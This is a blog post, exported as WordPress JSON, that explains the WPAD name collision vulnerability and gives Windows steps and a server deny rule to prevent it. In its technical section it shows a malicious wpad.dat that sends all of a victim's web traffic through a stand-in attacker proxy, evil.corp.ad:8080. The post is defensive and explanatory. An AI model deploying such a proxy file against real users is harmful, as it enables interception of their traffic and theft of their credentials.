{"id":100,"date":"2023-10-20T05:44:37","date_gmt":"2023-10-20T05:44:37","guid":{"rendered":"https:\/\/corp.ad\/?p=100"},"modified":"2025-03-02T13:12:44","modified_gmt":"2025-03-02T13:12:44","slug":"the-wpad-name-collision-vulnerability","status":"publish","type":"post","link":"https:\/\/www.corpad.org\/?p=100","title":{"rendered":"The WPAD Name Collision Vulnerability"},"content":{"rendered":"\n

The WPAD Name Collision Vulnerability, often referred to WPAD spoofing or simply as the WPAD vulnerability, is a security flaw of Web Proxy Auto-Discovery (WPAD) protocol. WPAD is a protocol that enables web browsers to automatically discover and configure proxy settings, when the device is connected to any network. Due to the lack of validation for the safety of proxy configuration files provided by the connected network, this protocol allows attackers to carry out a ‘WPAD attack’, maliciously intercepting and redirecting the victim’s web traffic by delivering a malformed proxy configuration.<\/p>\n\n\n\n

\u25a1 How does it work<\/strong><\/p>\n\n\n\n

\n
\"\"<\/figure>\n<\/figure>\n\n\n\n

In a private corporate network, the WPAD protocol is commonly used to automatically direct devices to connect to an internal proxy server. This proxy server acts as an intermediary, forwarding client devices’ requests to more internally protected destination servers and then relaying the responses back to the respective client devices.<\/p>\n\n\n\n

However, a security concern arises when devices typically used within the corporate network connect to an external, untrusted network. This is because these devices continue to operate under the assumption that they are still within the corporate network and will attempt to utilize the same WPAD protocol to automatically locate a proxy server. If a malicious actor has deployed a fake WPAD server with a same domain name and a fake proxy server, the device may inadvertently connect to these fraudulent servers.<\/p>\n\n\n\n

\n
\"\"<\/figure>\n<\/figure>\n\n\n\n

Once a device is connected to the fake proxy server, the malicious actor can exploit this connection to launch various attacks. When the device sends requests to the fake proxy server, the malicious actor can manipulate the responses, potentially embedding harmful content such as ransomware within the response files. <\/p>\n\n\n\n

\n
\"\"<\/figure>\n<\/figure>\n\n\n\n

Moreover, the malicious actor can eavesdrop on the device’s requests, gaining access to sensitive information such as login credentials, credit card numbers, and passwords.<\/p>\n\n\n\n

So, how can one avoid falling victim to this type of attack?<\/p>\n\n\n\n

\u25a1 Always prevent that your browser automatically connected to attacker’s proxy server:<\/strong><\/p>\n\n\n\n

1) If you are using old Windows and Internet Explorer:<\/strong><\/p>\n\n\n\n

Open the “Internet Options” dialog, click “Connections” tab then click “LAN Settings”, and uncheck “Automatically detect settings”.<\/p>\n\n\n\n

\n
\"\"<\/figure>\n<\/figure>\n\n\n\n

2) If you are using Windows 10:<\/strong><\/p>\n\n\n\n

Open the Start menu and click on Settings, Select Network & Internet, Click on Proxy in the left-hand pane, toogle the Automatic proxy setup Off, then Save.<\/p>\n\n\n\n

\n
\"\"<\/figure>\n<\/figure>\n\n\n\n

3) If you are using Windows 11:<\/strong><\/p>\n\n\n\n

Open the Start menu and click on Settings, Select Network & Internet, Click on Proxy in the left-hand pane, Toggle the Automatically detect settings option to Off.<\/p>\n\n\n\n

\n
\"\"<\/figure>\n<\/figure>\n\n\n\n

\u25a1 Always be cautious about security warnings from your browser<\/strong>:<\/p>\n\n\n\n

Since the WPAD vulnerability is a decades-old issue, so modern browsers always warn users when someone else tries to break into their securely protected communications. <\/p>\n\n\n\n

More specifically, if you encounter a certificate error page that warns about privacy, like the one shown below, never click the “Advanced” button to forcefully visit the site.<\/p>\n\n\n\n

\n
\"\"<\/figure>\n<\/figure>\n\n\n\n

<\/p>\n\n\n\n

\u25a1 If you want to know about technical details :<\/strong><\/p>\n\n\n\n

When a device configured to connect ‘Corp.AD’ network in default (e.g. A Windows PC joined in Active Directory), the device will looking for ‘wpad.dat’ file from a host with the domain name, using http protocol:<\/p>\n\n\n\n

GET http:\/\/wpad.corp.ad\/wpad.dat<\/code><\/pre>\n\n\n\n
Inside the wpad.dat file, there is a javascript function that describes which destinations should used as the proxy server. Below is the example of a wpad.dat file that redirect only corp.ad traffics to proxy.corp.ad server:<\/p>\n\n\n\n
function FindProxyForURL(url, host)\n{\n\thost = host.toLowerCase();\n  \n\tif (dnsDomainIs(host, \".corp.ad\") || (host == \"corp.ad\"))\n\t{\n\t\treturn \"PROXY proxy.corp.ad:9090\";\n\t}\n\treturn \"DIRECT\";\n}<\/code><\/pre>\n\n\n\n
If an attacker wants all victim’s web traffic redirected to his site and spy on the victim’s Internet traffic, will use this kind of wpad.dat :<\/p>\n\n\n\n
function FindProxyForURL(url, host) \n{\n\treturn \"PROXY evil.corp.ad:8080\";\n}<\/code><\/pre>\n\n\n\n
WPAD attacks can be executed in Man-in-the-Middle (MITM) scenarios, as illustrated in the previous examples. This implies that whenever a WPAD-vulnerable device connects to an untrusted network, there exists a potential risk for exploitation.<\/p>\n\n\n\n
WPAD attacks can be executed in Man-in-the-Middle (MITM) scenarios, as illustrated in the previous examples. This implies that whenever a WPAD-vulnerable device connects to an untrusted network, there exists a potential risk for exploitation.<\/p>\n\n\n\n
Additionally, WPAD attacks can occur when a malicious actor controls a legitimate public domain name that the same name is used within a private network. When a device transitions from the private network to the public network (Internet), it may connect to the attacker’s server that using the public domain name. This means a private network that use a ‘Not legitimately owned’ domain name is also possibly vulnerable to WPAD attacks.<\/p>\n\n\n\n
\u25a1 The Public Corp.AD Server<\/strong><\/p>\n\n\n\n
The purpose of this site is to warn about potential network domain name collisions and the associated vulnerabilities. To promote a safer Internet for everyone who use the ‘corp.ad’ as a private network domain name, this public corp.ad server does not response to any \/wpad.dat request. <\/p>\n\n\n\n
It is explicitly denied on httpd conf.d with following configuration:<\/p>\n\n\n\n
$cat \/etc\/httpd\/conf.d\/nowpad.conf\n<Location \/wpad.dat>\n Deny from All\n<\/Location><\/code><\/pre>\n\n\n\n
Since “corp.ad” is a domain that can be generally expected to be used as a private domain name, if you are visiting this site due to name collision, please always be cautious of your traffic being redirected in a public, untrusted network such as free Wi-Fi at a cafe, airport, and so on. <\/p>\n\n\n\n
Please find more information about this vulnerability at : <\/p>\n\n\n\n
https:\/\/www.cisa.gov\/news-events\/alerts\/2016\/05\/23\/wpad-name-collision-vulnerability<\/a><\/p>\n\n\n\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
The WPAD Name Collision Vulnerability, often referred to WPAD spoofing or simply as the WPAD vulnerability, is a security flaw of Web Proxy Auto-Discovery (WPAD) protocol. WPAD is a protocol that enables web browsers to automatically discover and configure proxy settings, when the device is connected to any network. Due to the lack of validation … Continue reading “The WPAD Name Collision Vulnerability”<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8],"tags":[5,14,12,13,11,10],"class_list":["post-100","post","type-post","status-publish","format-standard","hentry","category-security","tag-corp-ad","tag-domain-name-collision","tag-mitm-attack","tag-security","tag-wpad-attack","tag-wpad-vulnerability"],"_links":{"self":[{"href":"https:\/\/www.corpad.org\/index.php?rest_route=\/wp\/v2\/posts\/100","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.corpad.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.corpad.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.corpad.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.corpad.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=100"}],"version-history":[{"count":12,"href":"https:\/\/www.corpad.org\/index.php?rest_route=\/wp\/v2\/posts\/100\/revisions"}],"predecessor-version":[{"id":409,"href":"https:\/\/www.corpad.org\/index.php?rest_route=\/wp\/v2\/posts\/100\/revisions\/409"}],"wp:attachment":[{"href":"https:\/\/www.corpad.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=100"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.corpad.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=100"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.corpad.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=100"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}